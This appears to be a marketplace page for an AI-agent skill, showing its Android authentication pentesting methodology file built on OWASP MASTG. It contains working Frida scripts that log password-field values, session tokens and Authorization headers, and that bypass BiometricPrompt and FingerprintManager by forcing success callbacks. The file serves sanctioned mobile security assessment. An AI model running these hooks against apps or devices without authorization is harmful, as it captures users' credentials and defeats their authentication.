All skills
hardw00t avatar

/android-pentest

@f9bb3b2

Comprehensive Android mobile application penetration testing with rooted-device ADB and Frida-based MCP tooling. Covers OWASP MASTG full methodology: recon, static + dynamic analysis, SSL/root bypass, IPC fuzzing, data exfiltration, crypto audit, and reporting. Triggers on requests to pentest Android apps, analyze APKs, bypass mobile security controls, or run MASVS/MASTG assessments.

Use this Skill: https://skilld.dev/gh/hardw00t/ai-security-arsenal/android-pentest

This session only. Nothing lands on disk.

methodologyauth_testing.md

≈3.5k tokens on demand. Your agent reads this file only when SKILL.md points to it.

Authentication Security Testing Methodology

Authentication testing focuses on verifying the security of user authentication mechanisms, session management, and biometric authentication implementations.


Authentication Flow Analysis

Static Analysis

# Search for authentication classes
grep -rniE "(login|authenticate|signin|auth)" jadx_output/ --include="*.java"

# Find session management
grep -rniE "(session|token|jwt|bearer)" jadx_output/ --include="*.java"

# Biometric authentication
grep -rniE "(BiometricPrompt|FingerprintManager|biometric)" jadx_output/ --include="*.java"

Authentication Monitoring

frida_run_script(pid, """
Java.perform(function() {
    console.log('[*] Authentication Monitoring Active');

    // Search for common auth class patterns
    var authPatterns = ['auth', 'login', 'session', 'credential'];

    Java.enumerateLoadedClasses({
        onMatch: function(className) {
            var lower = className.toLowerCase();
            for (var i = 0; i < authPatterns.length; i++) {
                if (lower.indexOf(authPatterns[i]) !== -1) {
                    console.log('[AUTH] Found class: ' + className);
                    break;
                }
            }
        },
        onComplete: function() {}
    });
});
""")

Credential Handling

Credential Storage Analysis

# Check SharedPreferences for credentials
prefs = dump_shared_prefs("com.target.app")

# Check databases
databases = dump_databases("com.target.app")

# Search for credential-related data
# Look for: password, pin, token, session, auth

Runtime Credential Capture

frida_run_script(pid, """
Java.perform(function() {
    // Hook EditText for password fields
    var EditText = Java.use('android.widget.EditText');

    EditText.getText.implementation = function() {
        var text = this.getText();
        var inputType = this.getInputType();

        // Check if password field (inputType includes TYPE_TEXT_VARIATION_PASSWORD)
        if ((inputType & 0x80) !== 0 || (inputType & 0x10) !== 0) {
            console.log('[CRED] Password field value: ' + text.toString());
        }

        return text;
    };

    // Hook common login methods
    // Pattern: login(String username, String password)
    Java.enumerateLoadedClasses({
        onMatch: function(className) {
            try {
                var clazz = Java.use(className);
                var methods = clazz.class.getDeclaredMethods();

                for (var i = 0; i < methods.length; i++) {
                    var methodName = methods[i].getName().toLowerCase();
                    if (methodName.indexOf('login') !== -1 ||
                        methodName.indexOf('authenticate') !== -1 ||
                        methodName.indexOf('signin') !== -1) {
                        console.log('[AUTH] Found method: ' + className + '.' + methods[i].getName());
                    }
                }
            } catch (e) {}
        },
        onComplete: function() {}
    });
});
""")

Session Management Testing

Session Token Analysis

frida_run_script(pid, """
Java.perform(function() {
    // Hook SharedPreferences for token storage
    var SharedPrefs = Java.use('android.app.SharedPreferencesImpl');

    SharedPrefs.getString.implementation = function(key, defValue) {
        var value = this.getString(key, defValue);
        var keyLower = key.toLowerCase();

        if (keyLower.indexOf('token') !== -1 ||
            keyLower.indexOf('session') !== -1 ||
            keyLower.indexOf('auth') !== -1) {
            console.log('[SESSION] Retrieved: ' + key + ' = ' + value);
        }

        return value;
    };

    // Hook HTTP headers for tokens
    try {
        var Request = Java.use('okhttp3.Request');
        var RequestBuilder = Java.use('okhttp3.Request$Builder');

        RequestBuilder.addHeader.implementation = function(name, value) {
            console.log('[HTTP] Header: ' + name + ': ' + value);

            if (name.toLowerCase() === 'authorization') {
                console.log('[SESSION] Auth header: ' + value);
            }

            return this.addHeader(name, value);
        };
    } catch (e) {}
});
""")

JWT Token Analysis

frida_run_script(pid, """
Java.perform(function() {
    // Decode JWT tokens
    function decodeJWT(token) {
        try {
            var parts = token.split('.');
            if (parts.length !== 3) return null;

            var header = JSON.parse(Java.use('java.lang.String').$new(
                Java.use('android.util.Base64').decode(parts[0], 0)));
            var payload = JSON.parse(Java.use('java.lang.String').$new(
                Java.use('android.util.Base64').decode(parts[1], 0)));

            console.log('[JWT] Header: ' + JSON.stringify(header));
            console.log('[JWT] Payload: ' + JSON.stringify(payload));

            // Check for security issues
            if (header.alg === 'none') {
                console.log('[!] CRITICAL: JWT uses "none" algorithm');
            }
            if (header.alg === 'HS256') {
                console.log('[!] WARNING: JWT uses HS256 (symmetric)');
            }

            if (payload.exp) {
                var expDate = new Date(payload.exp * 1000);
                console.log('[JWT] Expires: ' + expDate.toISOString());
            }

            return { header: header, payload: payload };
        } catch (e) {
            return null;
        }
    }

    // Monitor string comparisons for JWT
    var String = Java.use('java.lang.String');
    String.startsWith.overload('java.lang.String').implementation = function(prefix) {
        if (this.toString().indexOf('eyJ') === 0) {
            console.log('[JWT] Token found: ' + this.toString().substring(0, 50) + '...');
            decodeJWT(this.toString());
        }
        return this.startsWith(prefix);
    };
});
""")

Session Security Tests

  1. Session Timeout

    • Does session expire after inactivity?
    • Is timeout enforced server-side?
  2. Session Invalidation

    • Is session invalidated on logout?
    • Is token revoked server-side?
  3. Concurrent Sessions

    • Are multiple sessions allowed?
    • Is old session invalidated on new login?
  4. Session Fixation

    • Is new session ID issued after login?
    • Is session regenerated on privilege change?

Biometric Authentication Testing

BiometricPrompt Bypass

frida_run_script(pid, """
Java.perform(function() {
    console.log('[*] Biometric Bypass Loaded');

    // Android BiometricPrompt
    try {
        var BiometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt');

        BiometricPrompt.authenticate.overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback').implementation = function(cancel, executor, callback) {
            console.log('[BIO] BiometricPrompt.authenticate() intercepted');

            // Trigger success callback
            var AuthenticationResult = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
            var result = AuthenticationResult.$new(null);

            executor.execute(Java.registerClass({
                name: 'com.frida.SuccessRunner',
                implements: [Java.use('java.lang.Runnable')],
                methods: {
                    run: function() {
                        callback.onAuthenticationSucceeded(result);
                    }
                }
            }).$new());

            console.log('[BIO] Success callback triggered');
        };
    } catch (e) {
        console.log('BiometricPrompt not found');
    }

    // AndroidX BiometricPrompt
    try {
        var BiometricPromptX = Java.use('androidx.biometric.BiometricPrompt');

        BiometricPromptX.authenticate.overload('androidx.biometric.BiometricPrompt$PromptInfo').implementation = function(info) {
            console.log('[BIO] AndroidX BiometricPrompt.authenticate() intercepted');
            return this.authenticate(info);
        };
    } catch (e) {
        console.log('AndroidX BiometricPrompt not found');
    }

    // Legacy FingerprintManager
    try {
        var FingerprintManager = Java.use('android.hardware.fingerprint.FingerprintManager');

        FingerprintManager.authenticate.implementation = function(crypto, cancel, flags, callback, handler) {
            console.log('[BIO] FingerprintManager.authenticate() intercepted');

            // Trigger success
            var AuthenticationResult = Java.use('android.hardware.fingerprint.FingerprintManager$AuthenticationResult');
            var result = AuthenticationResult.$new(crypto, null, 0);
            callback.onAuthenticationSucceeded(result);

            console.log('[BIO] Fingerprint bypassed');
        };
    } catch (e) {
        console.log('FingerprintManager not found');
    }
});
""")

Biometric Security Checks

Check Description Finding
CryptoObject binding Biometric tied to crypto key Missing = High risk
Server verification Result verified by server Missing = Critical
Fallback mechanism Secure PIN/password fallback Weak = Medium risk
setNegativeButtonText Cancel option present n/a

Password Policy Testing

Password Requirements Analysis

frida_run_script(pid, """
Java.perform(function() {
    // Hook password validation methods
    Java.enumerateLoadedClasses({
        onMatch: function(className) {
            if (className.toLowerCase().indexOf('password') !== -1 ||
                className.toLowerCase().indexOf('validator') !== -1) {
                try {
                    var clazz = Java.use(className);
                    var methods = clazz.class.getDeclaredMethods();

                    methods.forEach(function(method) {
                        var name = method.getName();
                        if (name.toLowerCase().indexOf('valid') !== -1 ||
                            name.toLowerCase().indexOf('check') !== -1) {
                            console.log('[PASS] Validator: ' + className + '.' + name);
                        }
                    });
                } catch (e) {}
            }
        },
        onComplete: function() {}
    });
});
""")

Password Security Tests

  1. Minimum Length

    • Less than 8 characters = Weak
    • 8-12 characters = Acceptable
    • 12+ characters = Strong
  2. Complexity Requirements

    • Uppercase, lowercase, numbers, special chars
  3. Password Storage

    • Plaintext = Critical
    • MD5/SHA1 = High risk
    • bcrypt/scrypt/Argon2 = Acceptable
  4. Brute Force Protection

    • Rate limiting
    • Account lockout
    • CAPTCHA

Multi-Factor Authentication Testing

MFA Flow Analysis

frida_run_script(pid, """
Java.perform(function() {
    // OTP/TOTP monitoring
    var otpPatterns = ['otp', 'totp', 'mfa', '2fa', 'verification', 'code'];

    Java.enumerateLoadedClasses({
        onMatch: function(className) {
            var lower = className.toLowerCase();
            for (var i = 0; i < otpPatterns.length; i++) {
                if (lower.indexOf(otpPatterns[i]) !== -1) {
                    console.log('[MFA] Found class: ' + className);
                    break;
                }
            }
        },
        onComplete: function() {}
    });

    // SMS interception
    try {
        var SmsManager = Java.use('android.telephony.SmsManager');
        SmsManager.sendTextMessage.implementation = function(dest, sc, text, sentIntent, deliveryIntent) {
            console.log('[SMS] Sending to: ' + dest);
            console.log('[SMS] Message: ' + text);
            return this.sendTextMessage(dest, sc, text, sentIntent, deliveryIntent);
        };
    } catch (e) {}
});
""")

MFA Security Tests

  1. SMS OTP

    • SIM swap vulnerability
    • OTP length (6+ digits)
    • OTP expiration
    • Rate limiting
  2. TOTP

    • Proper secret storage
    • Time synchronization
    • Backup codes security
  3. Push Notification

    • Approved device verification
    • Man-in-the-middle resistance
  4. MFA Bypass

    • Can MFA be skipped?
    • Recovery flow security
    • Remember device functionality

Authentication Checklist

Credential Security

  • Passwords not stored in plaintext
  • Secure password hashing (bcrypt/scrypt/Argon2)
  • No hardcoded credentials
  • Secure credential transmission

Session Management

  • Session timeout implemented
  • Session invalidation on logout
  • Server-side session validation
  • Secure session token generation
  • Protection against session fixation

Biometric Authentication

  • CryptoObject binding
  • Server-side verification
  • Secure fallback mechanism
  • Not bypassable via Frida

Password Policy

  • Minimum length requirement
  • Complexity requirements
  • Brute force protection
  • Password history (no reuse)

Multi-Factor Authentication

  • MFA enforced for sensitive operations
  • Secure MFA implementation
  • Rate limiting on MFA attempts
  • Secure recovery process

Common Findings

Finding Severity MASTG Reference
Credentials in plaintext Critical MASTG-TEST-0001
Biometric bypass possible High MASTG-TEST-0015
No server-side session validation High MASTG-TEST-0016
JWT with weak algorithm High MASTG-TEST-0016
No session timeout Medium MASTG-TEST-0016
Weak password policy Medium MASTG-TEST-0017
MFA bypass possible High MASTG-TEST-0018
Session not invalidated on logout Medium MASTG-TEST-0016

Source: SKILL.md on GitHub

1 warning16d4 checks · Risk SAFE
  • Gen Agent Trust Hub16d

    This skill provides a comprehensive environment and automated workflows for Android mobile application penetration testing. It interfaces with standard industry tools like ADB and Frida to perform security audits aligned with the OWASP MASTG methodology. While it performs sensitive operations like command execution and remote tool downloads, these are transparently implemented for its stated purpose using trusted sources.

  • Socket16d

    21 alerts: gptSecurity, gptAnomaly

  • Snyk16d

    Risk: LOW · No issues

  • ZeroLeaks5mo

    2 findings · Score: 80/100

Signed by skilld at f9bb3b2. This ties the file your Agent reads to that commit on GitHub. It does not review the instructions.

Last checked against GitHub 2 months ago.

Steadyupdated 6 months ago

README badge

README badge for hardw00t/ai-security-arsenal/android-pentest